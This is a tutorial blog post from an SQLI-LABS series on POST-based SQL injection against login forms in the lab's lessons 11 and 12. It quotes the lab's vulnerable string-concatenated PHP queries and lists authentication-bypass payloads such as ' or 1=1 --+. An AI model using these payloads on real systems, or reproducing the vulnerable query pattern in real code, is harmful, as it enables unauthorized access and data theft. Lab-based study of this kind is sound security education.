SQLI-LABS SERIES PART-11

Thank you all your feedback's and the responses. I am highly motivated to complete this series and start with a new one soon after.

Today we will discuss about the injections in the forms. In the last 11 lessons of the series we discussed  injections via the GET request. When I had started to learn this topic, I realized that a lot of stuff was available on internet for the GET based injections but POST injections were rarely discussed. That increased curiosity in me much and this was the point when i started this lab. The forms , lesson 11 to 20 are different implementations similar to GET method. We would cover 

• Error based injections
• Double Query injections
• Boolean based Blind injections
• Time based Blind Injections
• Injections in update query
• Injections in the Headers
• Injections in cookies

CAUTION: This is for educational purposes only, please do not use the skills you gain from following the video lessons, blog to harm or test sites on the internet for whom you do not have permissions. Doing so is illegal. I do not support these sort of activities and would advice you all to stay away from the same... If you do so you are solely responsible for your actions, you have been warned.

POST BASED INJECTIONS

In general, nothing changes with the change in injection point. The logic for injection remains the same, the process remains the same. In a general scenario we take up Less-11 and 12 for this. As the page displays a login field. therefore we can build our first sudo query which would be behind the scene as

SELECT * FROM table WHERE username="$uname" and password="$password".

The basic steps involved in the testing to exploitation are:

1. Fuzzing: Try to give random inputs to all points where it is accepted, be creative and send the values which the developer has failed to visualize. Objective is to try to break the underlying query and gain more insite on how the query is formulated by reviewing error.

2. Then try to fix the query by either providing the extra characters to balance off what we injected to break the query or comment off rest of query in such a way that it gets fixed.

3. Once we successfully achieved the above, we effectively get the left side, and right side of the injection and sql statement we inject in between these gets executed on backend.

As discussed in the previous post on error based injections, we used the UNION SELECT to dump the DB because the database layer was interacting with the web page and columns from table were visible on screen. same way we can see that a successful login leads to display of the username and password.

This can then be used to dump the database.

Less-11 line number 57
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
' or '1'='1 Will work nicely if injected in username and password field.   username = ' ' or '1'='1 ' AND password = '  ' or '1'='1   '
' or 1=1 --+ Will also work only in one field.   username = ' ' or 1=1 --+  ' commented out
' or 1=1 # will also work only in one field.       username = ' ' or 1=1 # ' commented out


Less-12 Line 57,58,59
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

") or ("1")=("1 Will work nicely.   username = (" ")or ("1")=("1 ") AND password = (" ")or ("1")=("1 ") 
") or 1=1 --+ Will also work.   username = (" ")or 1=1 --+  ") commented out
") or 1=1 # will also work.       username = (" ") or 1=1 #  ") commented out